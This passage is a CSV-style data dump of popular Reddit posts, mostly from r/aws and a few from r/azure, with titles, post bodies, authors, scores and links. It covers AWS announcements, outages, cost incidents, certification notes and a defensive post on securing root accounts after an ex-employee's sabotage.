etc. Ubuntu's generally a lot easier to get workloads up and running on. But for this project, clearly, that extra setup work is worth it. Much later edit: I never got around to properly testing all of the isolated components that could've affected this, but as per discussion in the thread, it seems clear that the actual source of the huge difference was different ImageMagick builds with different options in the distro packages. Pure CPU speed differences for parallel processing tests on the same hardware (tested using threads running https://gmplib.org/pi-with-gmp) *were* observable with Ubuntu vs Amazon Linux when I tested, but Amazon Linux was only ~4% faster.",jrandom_42,312,66,1640559258,/r/aws/comments/rp80z9/when_aws_says_that_the_amazon_linux_kernel_is/,https://www.reddit.com/r/aws/comments/rp80z9/when_aws_says_that_the_amazon_linux_kernel_is/,self.aws,True,,,,, 847imw,aws,So...by popular demand...you can now make pull requests against AWS documentation on GitHub,The AWS docs are now open source! [Jeff Barr’s blog post](https://aws.amazon.com/blogs/aws/aws-documentation-is-now-open-source-and-on-github/) has all the info on how to contribute. Each AWS service guide has its own repo in the [AWS docs organization](https://github.com/awsdocs) on GitHub. You can file issues if you have questions or submit pull requests if you have ideas to help improve the docs. You can watch a repo to monitor changes to those docs or for new feature updates to the service itself. Let us know if you have any questions!,AmazonWebServices,307,34,1520973925,/r/aws/comments/847imw/soby_popular_demandyou_can_now_make_pull_requests/,https://www.reddit.com/r/aws/comments/847imw/soby_popular_demandyou_can_now_make_pull_requests/,self.aws,True,,,,, lb6mwg,aws,"Jeff Bezos to step down as CEO, replaced by AWS CEO Andy Jassy in Q3.",,octapolar,304,69,1612300571,/r/aws/comments/lb6mwg/jeff_bezos_to_step_down_as_ceo_replaced_by_aws/,https://www.reddit.com/r/aws/comments/lb6mwg/jeff_bezos_to_step_down_as_ceo_replaced_by_aws/,self.aws,True,,,,, pjraai,aws,AWS is now requiring all attendees to re:invent to show proof that they're fully vaccinated and wear masks when not eating or drinking,,Nick4753,304,27,1631034447,/r/aws/comments/pjraai/aws_is_now_requiring_all_attendees_to_reinvent_to/,https://reinvent.awsevents.com/health-measures/,reinvent.awsevents.com,False,,,,, rb3o4l,aws,AWS us-east-1 outage brings down services around the world,,grimrenegade17,303,145,1638897615,/r/aws/comments/rb3o4l/aws_useast1_outage_brings_down_services_around/,https://www.datacenterdynamics.com/en/news/aws-us-east-1-outage-brings-down-services-around-the-world/,datacenterdynamics.com,False,,,,, otge8u,aws,"When AWS SDK for JS v3 came out, I created a mocking library for it. Now it's officially recommended by the AWS JS SDK team and my post was published on the AWS blog!",,mradzikowski,299,17,1627498433,/r/aws/comments/otge8u/when_aws_sdk_for_js_v3_came_out_i_created_a/,https://aws.amazon.com/blogs/developer/mocking-modular-aws-sdk-for-javascript-v3-in-unit-tests/,aws.amazon.com,False,,,,, yk1bwa,aws,Amazon AWS Certifications Courses Worth Thousands of Dollars are available FREE on Amazon Store.,,Notalabel_4566,298,25,1667384219,/r/aws/comments/yk1bwa/amazon_aws_certifications_courses_worth_thousands/,https://www.amazon.com/s?i=courses&rh=p_27%3AAWS+Training+%26+Certification&fbclid=IwAR1DccV2NwGhHLjXyqGrptmxECyAQFM2rFoDhO9z_H6kvZV_FviITsBzr_Q&ref=nav_ya_signin,amazon.com,False,,,,, k4dmow,aws,EC2 Mac Instances,,jeffbarr,296,92,1606796961,/r/aws/comments/k4dmow/ec2_mac_instances/,https://aws.amazon.com/blogs/aws/new-use-mac-instances-to-build-test-macos-ios-ipados-tvos-and-watchos-apps/,aws.amazon.com,False,,,,, iwfi95,aws,"I passed the AWS solutions architect exam about an year ago, wanted to share my journey and my notes. It has already helped a lot of people, hope it also helps some of you.",,SkullTech101,294,24,1600614506,/r/aws/comments/iwfi95/i_passed_the_aws_solutions_architect_exam_about/,https://github.com/SkullTech/aws-solutions-architect-associate-notes,github.com,False,,,,, i84o7w,aws,The new Route53 console isn't great,[deleted],[deleted],294,128,1597196042,/r/aws/comments/i84o7w/the_new_route53_console_isnt_great/,https://www.reddit.com/r/aws/comments/i84o7w/the_new_route53_console_isnt_great/,self.aws,True,,,,, hbztrc,aws,I wrote a free app for sketching cloud architecture diagrams,"I wrote a free app for sketching cloud architecture diagrams. All AWS, Azure, GCP, Kubernetes, Alibaba Cloud, Oracle Cloud icons and more are preloaded in the app. Hope the community finds it useful: [cloudskew.com](https://www.cloudskew.com/) Notes: 1. The app's just a simple diagram editor, it doesn't need access to any AWS, Azure, GCP accounts. 2. You can see some sample diagrams [here](https://www.cloudskew.com/docs/samples.html). [CloudSkew - Free AWS, Azure, GCP, Kubernetes diagram tool](https://preview.redd.it/9jm111zn1v551.png?width=1438&format=png&auto=webp&s=c33c6eb8c76a0c52408e0c672d36b6eac62a3fed)",mithunshanbhag,287,72,1592569770,/r/aws/comments/hbztrc/i_wrote_a_free_app_for_sketching_cloud/,https://www.reddit.com/r/aws/comments/hbztrc/i_wrote_a_free_app_for_sketching_cloud/,self.aws,True,,,,, lmnpyu,aws,AWS taking zombie apocalypse seriously in T&Cs Clause 42.10,,ibliskavka,280,39,1613657779,/r/aws/comments/lmnpyu/aws_taking_zombie_apocalypse_seriously_in_tcs/,https://aws.amazon.com/service-terms/,aws.amazon.com,False,,,,, ornyo3,aws,"Cloudflare accuses AWS of massive markups on egress bandwidth fees per region, estimating North American and European customers pay 80x the operational costs",,netok,278,105,1627260564,/r/aws/comments/ornyo3/cloudflare_accuses_aws_of_massive_markups_on/,https://blog.cloudflare.com/aws-egregious-egress/,blog.cloudflare.com,False,,,,, ckpa12,aws,"Just passed the AWS solutions architect exam, here are my notes. Hope this helps some of you.",,SkullTech101,277,51,1564670598,/r/aws/comments/ckpa12/just_passed_the_aws_solutions_architect_exam_here/,https://github.com/SkullTech/aws-solutions-architect-associate-notes,github.com,False,,,,, hau6np,aws,"AWS said it mitigated a 2.3 Tbps DDoS attack, the largest ever",,crafty5999,273,46,1592410151,/r/aws/comments/hau6np/aws_said_it_mitigated_a_23_tbps_ddos_attack_the/,https://www.zdnet.com/article/aws-said-it-mitigated-a-2-3-tbps-ddos-attack-the-largest-ever/,zdnet.com,False,,,,, la52ad,aws,Slack’s Outage on January 4th 2021,,SureElk6,272,23,1612191861,/r/aws/comments/la52ad/slacks_outage_on_january_4th_2021/,https://slack.engineering/slacks-outage-on-january-4th-2021/,slack.engineering,False,,,,, 130kxax,aws,AWS Layoffs Take Effect,,gwinerreniwg,272,242,1682599330,/r/aws/comments/130kxax/aws_layoffs_take_effect/,https://www.cnbc.com/2023/04/26/amazon-starts-layoffs-impacting-hr-and-aws-cloud-unit.html,cnbc.com,False,,,,, rh1rw7,aws,Another AWS outage?,Unable to access any of our resources in us-west-2 across multiple accounts at the moment,mesaosi,270,110,1639582544,/r/aws/comments/rh1rw7/another_aws_outage/,https://www.reddit.com/r/aws/comments/rh1rw7/another_aws_outage/,self.aws,True,,,,, kqbctu,aws,ECS Container Deployments: Hands down the absolute best article I've found to explain ECS deployments. I wish more people read this article!,,skilledpigeon,268,32,1609775549,/r/aws/comments/kqbctu/ecs_container_deployments_hands_down_the_absolute/,https://nathanpeck.com/speeding-up-amazon-ecs-container-deployments/,nathanpeck.com,False,,,,, 1kbctcj,aws,We accidentally blew $9.7 k in 30 days on one NAT Gateway—how would you have caught it sooner?,"ey r/aws, We recently discovered that a single NAT Gateway in ap-south-1 racked up \*\*4 TB/day\*\* of egress traffic for 30 days, burning \*\*$9.7 k\*\* before any alarms fired. It looked “textbook safe” (2 private subnets, 1 NAT per AZ) until our finance team almost fainted. \*\*What happened\*\* \- A new micro-service was pinging an external API at 5 k req/min \- All egress went through NAT (no prefix lists or endpoints) \- Billing rates: $0.045/GB + $0.045/hr + $0.01/GB cross-AZ \- Cost Explorer alerts only triggered after the month closed \*\*What we did to triage\*\* 1. \*\*Daily Cost Explorer alert\*\* scoped to NATGateway-Bytes 2. \*\*VPC endpoints\*\* for all major services (S3, DynamoDB, ECR, STS) 3. \*\*Right-sized NAT\*\*: swapped to an HA t4g.medium instance 4. \*\*Traffic dedupe + compression\*\* via Envoy/Squid 5. \*\*Quarterly architecture review\*\* to catch new blind spots 🔍 \*\*Question for the community:\*\* 1. What proactive guardrail or AWS native feature would you have used to spot this in real time? 2. Any additional tactics you’ve implemented to prevent runaway NAT egress costs? Looking forward to your war-stories and best practices! \*No marketing links, just here to learn from your experiences.\*",Leather-Form1805,266,125,1746007638,/r/aws/comments/1kbctcj/we_accidentally_blew_97_k_in_30_days_on_one_nat/,https://www.reddit.com/r/aws/comments/1kbctcj/we_accidentally_blew_97_k_in_30_days_on_one_nat/,self.aws,True,,,,, fh41zb,aws,"I publicly tore an AWS engineer's AWS bill apart to find savings, then shared the story with the world.",,Quinnypig,265,29,1583959593,/r/aws/comments/fh41zb/i_publicly_tore_an_aws_engineers_aws_bill_apart/,https://www.lastweekinaws.com/blog/an-aws-bill-analysis-changelogs-md/,lastweekinaws.com,False,,,,, gjxil2,aws,Diagrams as code (Python) with AWS icon support,,rowanu,265,41,1589498270,/r/aws/comments/gjxil2/diagrams_as_code_python_with_aws_icon_support/,https://diagrams.mingrammer.com/docs/getting-started/examples,diagrams.mingrammer.com,False,,,,, 1kdspz3,aws,AWS lambda announce charges for init ( cold start) now need to optimised more,"What are different approach you will take to avoid those costs impact. https://aws.amazon.com/blogs/compute/aws-lambda-standardizes-billing-for-init-phase/",aviboy2006,265,54,1746278143,/r/aws/comments/1kdspz3/aws_lambda_announce_charges_for_init_cold_start/,https://i.redd.it/d4pftcehhkye1.jpeg,i.redd.it,False,,,,, y6hli2,aws,"Happy 10 year birthday to the current IAM policy language version (""Version"": ""2012-10-17"")",,ckilborn,264,16,1666028906,/r/aws/comments/y6hli2/happy_10_year_birthday_to_the_current_iam_policy/,https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_policies_elements_version.html,docs.aws.amazon.com,False,,,,, axmxo2,aws,"A curated list of Amazon Web Services (AWS) guides, videos, blogs, open source repos and other resources",[removed],prithvi45,262,27,1551802831,/r/aws/comments/axmxo2/a_curated_list_of_amazon_web_services_aws_guides/,https://www.reddit.com/r/aws/comments/axmxo2/a_curated_list_of_amazon_web_services_aws_guides/,self.aws,True,,,,, kbs02j,aws,Amazon owns more than $2B worth of IPV4 addresses,,nixcraft,262,69,1607790776,/r/aws/comments/kbs02j/amazon_owns_more_than_2b_worth_of_ipv4_addresses/,https://dangoldin.com/2020/12/11/amazon-owns-more-than-2b-worth-of-ipv4-addresses/,dangoldin.com,False,,,,, n62939,aws,VPC Peering traffic within the same AZ is now free 🎉,,Nklya,257,25,1620288362,/r/aws/comments/n62939/vpc_peering_traffic_within_the_same_az_is_now_free/,https://aws.amazon.com/about-aws/whats-new/2021/05/amazon-vpc-announces-pricing-change-for-vpc-peering/,aws.amazon.com,False,,,,, 11x1eqm,aws,"Amazon is laying off another 9,000 employees across AWS, Twitch, advertising",,drtrivagabond,257,97,1679358615,/r/aws/comments/11x1eqm/amazon_is_laying_off_another_9000_employees/,https://m.economictimes.com/tech/technology/amazon-to-lay-off-9000-more-workers/amp_articleshow/98821965.cms,m.economictimes.com,False,,,,, xrfnqy,aws,Dear AWS: Please open a US Central Region,,EXPERT_AT_FAILING,257,119,1664477130,/r/aws/comments/xrfnqy/dear_aws_please_open_a_us_central_region/,https://i.redd.it/wbsltrzefuq91.png,i.redd.it,False,,,,, ja1k9g,aws,I built a GitHub Action that deploys static sites to Cloudfront,,corollari,257,21,1602543490,/r/aws/comments/ja1k9g/i_built_a_github_action_that_deploys_static_sites/,https://github.com/onramper/action-deploy-aws-static-site,github.com,False,,,,, jq3cha,aws,Am I the only one who hates the new AWS console design updates?,"I rarely use the old console except when I absolutely have to. It was slow and somewhat unappealing to look at. AWS just made some major updates to the console and I feel they did so with no user input. At least to me, everything I hate about the old one wasn't addressed or even made worse. Is this just me or does anyone else feel same?",i992Ghost,255,98,1604800917,/r/aws/comments/jq3cha/am_i_the_only_one_who_hates_the_new_aws_console/,https://www.reddit.com/r/aws/comments/jq3cha/am_i_the_only_one_who_hates_the_new_aws_console/,self.aws,True,,,,, m4zt8k,aws,"Amazon S3’s 15th Birthday – It is Still Day 1 after 5,475 Days & 100 Trillion Objects",,jeffbarr,254,23,1615743662,/r/aws/comments/m4zt8k/amazon_s3s_15th_birthday_it_is_still_day_1_after/,https://aws.amazon.com/blogs/aws/amazon-s3s-15th-birthday-it-is-still-day-1-after-5475-days-100-trillion-objects/,aws.amazon.com,False,,,,, cz9oho,aws,Announcing improved VPC networking for AWS Lambda functions | Amazon Web Services,,mwarkentin,252,46,1567539415,/r/aws/comments/cz9oho/announcing_improved_vpc_networking_for_aws_lambda/,https://aws.amazon.com/blogs/compute/announcing-improved-vpc-networking-for-aws-lambda-functions/,aws.amazon.com,False,,,,, ekyj1a,aws,Please use the right tool for each job - serverless is NOT the right answer for each job,"I'm a serverless expert and I can tell you that serverless is really really useful but for about 50% of use cases that I see on a daily basis. I had to get on calls and tell customers to re-architect their workloads to use containers, specifically fargate, because serverless was simply not an option with their requirements. Traceability, storage size, longitivity of the running function, WebRTC, and a whole bunch of other nuances simply make serverless unfeasible for a lot of workloads. Don't buy into the hype - do your research and you'll sleep better at night. **Update:** by serverless I mean lambda specifically. Usually when you want to mention DynamoDB, S3, or any other service that doesn't require you to manage the underlying infrastructure we would refer to them as managed services rather than serverless. **Update 2:** Some of you asked when I wouldn't use Lambda. Here's a short list. Remember that each workload is different so this should be used as a guide rather than as an edict. 1. Extremely low-latency workloads. (e.g. AdTech where things needs to be computed in 100ms or less). 2. Workloads that are sensitive to cold-starts. No matter whether you use provisioned capacity or not, you will feel the pain of a cold-start. Java and .NET are of prime concern here. It takes seconds for them to cold-start. If your customer clicks a button on a website and has to wait 5 seconds for something to happen you'll lose that customer in a heartbeat. 3. Lambda functions that open connection pools. Not only does this step add additional time to the cold-start, but there's not clean way of closing those connections since Lambda doesn't provide 'onShutdown' hooks. 4. Workloads that are constantly processing data, non-stop. Do your cost calculations. You will notices that Lambda functions will become extremely expensive if you have a 100 of them running at the same time, non-stop, 100% of the time. Those 100 Lambda functions could be replaced with one Fargate container. Don't forget that one instance of a Lambda function can process only 1 request at a time. 5. Long-running processes. 6. Workloads that require websockets. There's just too many complexities when it comes to websockets, you add a lot more if you use Lambdas that are short-lived. People have done it, but I wouldn't suggest it. 7. Workloads that require a lot of storage (e.g. they consistently download and upload data). You will run out of storage, and it's painful.",hackers-disunited,252,127,1578337351,/r/aws/comments/ekyj1a/please_use_the_right_tool_for_each_job_serverless/,https://www.reddit.com/r/aws/comments/ekyj1a/please_use_the_right_tool_for_each_job_serverless/,self.aws,True,,,,, nar0s9,aws,Why you should never work for Amazon itself: Some Amazon managers say they 'hire to fire' people just to meet the internal turnover goal every year,,oxoxoxoxoxoxoxox,250,262,1620832311,/r/aws/comments/nar0s9/why_you_should_never_work_for_amazon_itself_some/,https://www.businessinsider.com/amazon-managers-performance-reviews-hire-to-fire-internal-turnover-goal-2021-5,businessinsider.com,False,,,,, 12gk3la,aws,Amazon S3 beginning to apply two security best practices to all new buckets by default,,jsonpile,249,11,1681048427,/r/aws/comments/12gk3la/amazon_s3_beginning_to_apply_two_security_best/,https://aws.amazon.com/about-aws/whats-new/2023/04/amazon-s3-two-security-best-practices-buckets-default/,aws.amazon.com,False,,,,, k8g2ir,aws,"I ran the numbers on Lambda multithreading. In my tests, doubling the amount of memory led to a 0,28% price increase and a 41,05% performance increase!",,Donkersgoed,246,21,1607345454,/r/aws/comments/k8g2ir/i_ran_the_numbers_on_lambda_multithreading_in_my/,https://www.sentiatechblog.com/aws-re-invent-2020-day-3-optimizing-lambda-cost-with-multi-threading?utm_source=reddit&utm_medium=social&utm_campaign=day3_lambda,sentiatechblog.com,False,,,,, gjl5wi,aws,"I wrote a guide on building your own resume site using AWS S3, CloudFront, and Route53. Its almost free to host and looks great on a resume.",,[deleted],246,50,1589458343,/r/aws/comments/gjl5wi/i_wrote_a_guide_on_building_your_own_resume_site/,https://seanjziegler.com/how-to-build-a-free-static-resume-site-with-aws-s3-cloudfront-and-route-53/,seanjziegler.com,False,,,,, 11sbyl9,aws,Amazon Linux 2023 Officially Released,,Bobtik,244,92,1678920289,/r/aws/comments/11sbyl9/amazon_linux_2023_officially_released/,https://aws.amazon.com/about-aws/whats-new/2023/03/amazon-linux-2023/,aws.amazon.com,False,,,,, oezzem,aws,Pentagon discards $10 billion JEDI cloud deal awarded to Microsoft,,elitistAlmond,244,119,1625593350,/r/aws/comments/oezzem/pentagon_discards_10_billion_jedi_cloud_deal/,https://fortune.com/2021/07/06/pentagon-discards-10-billion-cloud-deal-awarded-to-microsoft-amazon/,fortune.com,False,,,,, fluzsm,aws,"AWS launches initiative to accelerate COVID-19 diagnostics, research, and testing",,oklahoma_stig,243,21,1584710798,/r/aws/comments/fluzsm/aws_launches_initiative_to_accelerate_covid19/,https://blog.aboutamazon.com/innovation/aws-launches-initiative-to-accelerate-covid-19-diagnostics-research-and-testing,blog.aboutamazon.com,False,,,,, di7x6b,aws,Migration Complete – Amazon’s Consumer Business Just Turned off its Final Oracle Database,,jeffbarr,242,66,1571146170,/r/aws/comments/di7x6b/migration_complete_amazons_consumer_business_just/,https://aws.amazon.com/blogs/aws/migration-complete-amazons-consumer-business-just-turned-off-its-final-oracle-database/,aws.amazon.com,False,,,,, k48mzy,aws,Lambda just got per-ms billing,"Check your invocation logs! Duration: 333.72 ms Billed Duration: 334 ms",mwarkentin,241,67,1606780326,/r/aws/comments/k48mzy/lambda_just_got_perms_billing/,https://www.reddit.com/r/aws/comments/k48mzy/lambda_just_got_perms_billing/,self.aws,True,,,,, n5ic18,aws,Please fix the AWS Free Tier before somebody gets hurt,,speckz,241,113,1620227844,/r/aws/comments/n5ic18/please_fix_the_aws_free_tier_before_somebody_gets/,https://cloudirregular.substack.com/p/please-fix-the-aws-free-tier-before,cloudirregular.substack.com,False,,,,, 7a5anz,aws,We are the AWS Lambda & Serverless team. Ask the Experts!,"Hi everyone, Jeff Barr here. We’ve been seeing a ton of great questions and discussions on Lambda & serverless architecture more broadly, so we’re here today to answer technical questions about building serverless applications with Lambda. Any technical question is game, from how to select the right framework, to why you should use serverless, to local testing and debugging, etc. I’m joined by: * Ajay Nair (Product Manager) * Chris Munns (Developer Advocate) * Stefano Buliani (Solutions Architect) * Bob Kinney (Software Engineer) * George Mao (Technical Account Manager) * Cecilia Deng (Software Engineer) * Sanath Kumar Ramesh (Software Engineer) * Rory Jacob (Software Engineer) * Paul Maddox (Solutions Architect) * Andy Katz (Product Manager) * Tim Bray (Principal Engineer) We’ll start answering questions at 11:00 AM PST for the next hour. Proof: https://twitter.com/awscloud/status/925781352020086784 UPDATE: Love all the great questions – keep them coming! We’ll be here for another 30. UPDATE: That's a wrap! Thanks so much r/AWS for hosting us. Stay tuned for future events :) We'll continue to monitor this thread and try to get to any questions we missed.",AmazonWebServices,241,275,1509558908,/r/aws/comments/7a5anz/we_are_the_aws_lambda_serverless_team_ask_the/,https://www.reddit.com/r/aws/comments/7a5anz/we_are_the_aws_lambda_serverless_team_ask_the/,self.aws,True,,,,, bibqzi,aws,3D AWS Infrastructure Map,,whistleblade,241,31,1556461545,/r/aws/comments/bibqzi/3d_aws_infrastructure_map/,https://infrastructure.aws,infrastructure.aws,False,,,,, pxgzv2,aws,Amazon EC2 now offers Global View on the console to view all resources across regions together,,markcartertm,240,26,1632866305,/r/aws/comments/pxgzv2/amazon_ec2_now_offers_global_view_on_the_console/,https://aws.amazon.com/about-aws/whats-new/2021/09/amazon-ec2-global-view-console-regions/,aws.amazon.com,False,,,,, xhsrir,aws,Visualizing how S3 deletes 1 billion objects with Athena and Rust,,Most-Loss5834,240,11,1663536815,/r/aws/comments/xhsrir/visualizing_how_s3_deletes_1_billion_objects_with/,https://tomforb.es/visualizing-how-s3-deletes-1-billion-objects-with-athena-and-rust/,tomforb.es,False,,,,, e2sujj,aws,The console now shows region (e.g. us-east-1) alongside the region name!,"As someone who doesn't have all the more obscure regions memorized, it's great to see these alongside the region name description, which is mostly useless for any sort of work I do. https://imgur.com/7CUqyAW",jamsan920,240,42,1574916102,/r/aws/comments/e2sujj/the_console_now_shows_region_eg_useast1_alongside/,https://www.reddit.com/r/aws/comments/e2sujj/the_console_now_shows_region_eg_useast1_alongside/,self.aws,True,,,,, dn5rxx,aws,AWS misses $10B DoD JEDI cloud contract; Awarded to Microsoft,,i_am_voldemort,239,276,1572046394,/r/aws/comments/dn5rxx/aws_misses_10b_dod_jedi_cloud_contract_awarded_to/,https://www.cnbc.com/2019/10/25/microsoft-wins-major-defense-cloud-contract-beating-out-amazon.html,cnbc.com,False,,,,, yspodg,aws,Amazon Time Sync is now available over the internet as a public NTP service (time.aws.com),,rootbeerdan,236,36,1668207005,/r/aws/comments/yspodg/amazon_time_sync_is_now_available_over_the/,https://aws.amazon.com/about-aws/whats-new/2022/11/amazon-time-sync-internet-public-ntp-service/,aws.amazon.com,False,,,,, 116difm,aws,Announcing the ability to enable AWS Systems Manager by default across all EC2 instances in an account,,ckilborn,234,43,1676819087,/r/aws/comments/116difm/announcing_the_ability_to_enable_aws_systems/,https://aws.amazon.com/about-aws/whats-new/2023/02/enable-aws-systems-manager-default-all-ec2-instances-account/,aws.amazon.com,False,,,,, k4os73,aws,"I dont care what you think, the lambda/serverless changes are the best thing in ReInvent/2020",1Ms billing? Lambda containers? That's it. That's all i wanted in life.,mastertub,234,129,1606841729,/r/aws/comments/k4os73/i_dont_care_what_you_think_the_lambdaserverless/,https://www.reddit.com/r/aws/comments/k4os73/i_dont_care_what_you_think_the_lambdaserverless/,self.aws,True,,,,, cgty96,aws,Nightmare Scenario: Employee Deletes AWS Root Account - How to Protect Yours,"I'm the CTO for a technology consulting company and this is the call I got this week: “Our entire AWS account is gone. The call center is down, we can’t log in - it’s like it never existed! How do we get it back?” One of our former clients, a multimillion dollar services provider, called us in a panic. They had terminated an employee, and in retaliation, that employee shut down their call center capabilities (hosted on Amazon Web Services via AWS Connect). The client was completely locked out and looking for the “undo” button. After some digging, and a favor from some friends at AWS, we discovered that the former employee had turned everyone off, then changed the email address and password associated with the root AWS account. This locked our client completely out of the account, and since everything was done with the right credentials, AWS couldn’t reverse the damage. Everything hit at once: they were frantically attempting to log in, and contact AWS, and deal with their entire operation being offline, and figure out exactly what had happened and why. Their only option was to get the login from the former employee. They tried the nice way first, but by the end of the day the FBI was at his door. Once the account was back in our clients’ hands, they were able to turn the call center back on pretty quickly, but it still cost a full day. The legal costs, user panic, and productivity loss could have been avoided by following a few best practices. Here are three precautions you can take to safeguard your company against a security issue like this one: **1.** **Practice Least Privileges** The idea here is simple - everyone should have exactly the permissions they need and nothing more. Most cloud computing systems allow *very* fine-grained control of privileges. The Admin or Root account on any system shouldn’t be used for daily work - write the password on a piece of paper, print out the backup MFA codes (more on that below) and stick it in a fireproof safe. For the truly paranoid: put two safes in two locations. After that, ensure that two people have enough access to create users and fix permissions - that way, someone can be out sick without grinding the company to a halt. In this case, 5 people shared an email “group” address and they all knew the password. That user had global access to everything, and when he was burned he decided to burn back. *Create an admin or two, then set up other accounts for your employees with very specific limitations on what they can do.* **2. Multi-Factor Authentication** Multi-Factor Authentication (MFA) attaches a secondary authentication to your account (the email and password being the primary). You have likely experienced this when you were texted a code while signing up for something. *Turn it on everywhere that you can.* In the book “[Tribe of Hackers](https://www.amazon.com/Tribe-Hackers-Cybersecurity-Advice-World/dp/1793464189)”, Marcus Carey sent 12 questions to 70 cyber security professionals. When asked “What is the most important thing your organization can do to improve its security posture?” nearly all of them included requiring MFA wherever possible. There are many forms of MFA, including text messages, apps on your phone, physical keyfobs, and encrypted thumb drives. It’s very important to have a backup as well. Most systems will give you a set of “backup codes” which will each work 1 time. You can print them or put them in an encrypted note - but make sure you get them. The importance of using multi-factor authentication cannot be overstated. Had the company used multi-factor authentication, this ex-employee would have never been able to log into the account and shut it down without them knowing about it. *Turn on Multi-Factor Authentication* **3. Offboarding Process** Finally, ensure your company has a secure offboarding process. We encourage our clients to write up an “86 procedure” and review it quarterly. The goal should be to strip all privileges in 5 minutes or less. When an employee is terminated, they should walk out of the termination meeting with no access and not be allowed back on their laptop. Today, so many services exist that can become critical to a business’s operation. If you can afford to use something like Okta to manage these services you will have an easy off-button, but if not at least consider using your email provider (Google Apps and Outlook both provide this service). *Create and review an offboarding process.* Ultimately *you have to protect your data*. A few small steps can go a long way to ensuring one bad actor won’t negatively impact your business. &#x200B; As exciting as that phone call was, I don't want to take another one like that again! &#x200B; Edit: we originally posted this on [Medium](https://medium.com/@victoryteam/nightmare-scenario-employee-deletes-aws-root-account-29e28af15436) but wanted to share here too.",victoryteam,233,74,1563895231,/r/aws/comments/cgty96/nightmare_scenario_employee_deletes_aws_root/,https://www.reddit.com/r/aws/comments/cgty96/nightmare_scenario_employee_deletes_aws_root/,self.aws,True,,,,, ebmcah,aws,A Cloud Guru Acquires Linux Academy,"This subreddit has been huge for the growth of both companies, so I thought it only fair to share this news as soon as it broke! Release video: https://www.youtube.com/watch?v=XyUjjXZ9jwA ACG release: https://acloud.guru/linux-academy LA release: https://linuxacademy.com/news/press-release/acloudguru/ Q&A with the CEO to answer some of the questions posed by our students: https://info.acloud.guru/resources/qa-with-sam-k-acquisition-announcement-follow-up",xelfer,231,105,1576535414,/r/aws/comments/ebmcah/a_cloud_guru_acquires_linux_academy/,https://www.reddit.com/r/aws/comments/ebmcah/a_cloud_guru_acquires_linux_academy/,self.aws,True,,,,, irkshm,aws,"Moving 25TB data from one S3 bucket to another took 7 engineers, 4 parallel sessions each and 2 full days","We recently moved 25tb data from s3 bucket to another. Our estimate was 2 hours for one engineer. After starting the process, we quickly realized it's going pretty slow. Specifically because there were millions of small files with few mbs. All 7 engineers got behind the effort and we finished it in 2 days with help of 7 engineers, keeping the session alive 24/7 We used aws cli and cp/mv command. We used ""Run parallel uploads using the AWS Command Line Interface (AWS CLI)"" ""Use Amazon S3 batch operations"" from following link https://aws.amazon.com/premiumsupport/knowledge-center/s3-large-transfer-between-buckets/ I believe making network request for every small file is what caused the slowness. Had it been bigger files, it wouldn't have taken as long. There has to be a better way. Please help me find the options for the next time we do this.",45nshukla,231,171,1599944753,/r/aws/comments/irkshm/moving_25tb_data_from_one_s3_bucket_to_another/,https://www.reddit.com/r/aws/comments/irkshm/moving_25tb_data_from_one_s3_bucket_to_another/,self.aws,True,,,,, heo21x,aws,Samsung Database Migration Case Study: 1.1 Billion Users across Three Continents from Oracle to Amazon Aurora with AWS Database Migration Service,,CrankyBear,230,32,1592949640,/r/aws/comments/heo21x/samsung_database_migration_case_study_11_billion/,https://aws.amazon.com/solutions/case-studies/samsung-migrates-off-oracle-to-amazon-aurora/,aws.amazon.com,False,,,,, m8lnjx,aws,"On-demand, serverless Valheim server setup with AWS CDK, Discord Interactions and GitLab CI (repo, summary and article link in comments)",,gamprin,230,37,1616172994,/r/aws/comments/m8lnjx/ondemand_serverless_valheim_server_setup_with_aws/,https://i.redd.it/qt32qrir50o61.png,i.redd.it,False,,,,, gskv0k,aws,"AWS Encyclopedia -- A place to share all the useful AWS documentation, repos, and solutions you have bookmarked!",,awsencyclopedia,230,4,1590721885,/r/aws/comments/gskv0k/aws_encyclopedia_a_place_to_share_all_the_useful/,https://github.com/cschultz82/aws_encyclopedia,github.com,False,,,,, zbnaaf,aws,Attended AWS reinvent and returned with Covid,"How many of you returned home with Covid positive after attending reinvent at Las Vegas? I protected myself with a mask but some how the virus made it to me. Hope rest of you all are feeling ok as I noticed the crowds are equal or bigger than 2019 and most of them were without masks. I attended last year(2021) with same precautions and was covid negative due to the fact everyone had to mask up as per the attendee policy.",vnk16,229,66,1670093054,/r/aws/comments/zbnaaf/attended_aws_reinvent_and_returned_with_covid/,https://www.reddit.com/r/aws/comments/zbnaaf/attended_aws_reinvent_and_returned_with_covid/,self.aws,True,,,,, gomeoy,aws,What a typical 100% Serverless Architecture looks like in AWS!,,speckz,228,118,1590164529,/r/aws/comments/gomeoy/what_a_typical_100_serverless_architecture_looks/,https://medium.com/serverless-transformation/what-a-typical-100-serverless-architecture-looks-like-in-aws-40f252cd0ecb,medium.com,False,,,,, nha53i,aws,Extreme HTTP Performance Tuning: 1.2M API req/s on a 4 vCPU EC2 Instance,,talawahtech,226,10,1621541283,/r/aws/comments/nha53i/extreme_http_performance_tuning_12m_api_reqs_on_a/,https://talawah.io/blog/extreme-http-performance-tuning-one-point-two-million/,talawah.io,False,,,,, ztow5x,aws,Amazon RDS announces integration with AWS Secrets Manager,,knob-ed,223,43,1671819654,/r/aws/comments/ztow5x/amazon_rds_announces_integration_with_aws_secrets/,https://aws.amazon.com/about-aws/whats-new/2022/12/amazon-rds-integration-aws-secrets-manager/,aws.amazon.com,False,,,,, yke7g6,azure,Every Azure engineer's mancrush,,nomadconsultant,646,95,1667416720,/r/AZURE/comments/yke7g6/every_azure_engineers_mancrush/,https://i.redd.it/ppl4u8j38lx91.png,i.redd.it,False,,,,, 1fji2fm,azure,Passed Az-104!,Big deal for me. Going to make my internship search a lot better for 2025 Summer 🔥,SRE-CloudMaster,501,35,1726626012,/r/AZURE/comments/1fji2fm/passed_az104/,https://i.redd.it/3bp1g10m9hpd1.jpeg,i.redd.it,False,,,,, 14oouxh,azure,How to pass the Microsoft Azure Administrator certification exam (AZ-104) ?,,Intelligent_Tune_392,490,9,1688305941,/r/AZURE/comments/14oouxh/how_to_pass_the_microsoft_azure_administrator/,https://itcertificate.org/guide/azure/how-to-pass-the-microsoft-azure-administrator-certification-exam-az-104/,itcertificate.org,False,,,,, 13byb4g,azure,200K Subscribers Hit Today! Thank you for the support. AMA date will be shared next couple of days! https://onboardtoazure.com,,JohnSavill,475,65,1683566046,/r/AZURE/comments/13byb4g/200k_subscribers_hit_today_thank_you_for_the/,https://i.redd.it/6xhcdbzj4nya1.png,i.redd.it,False,,,,, 1grr0jw,azure,Microsoft 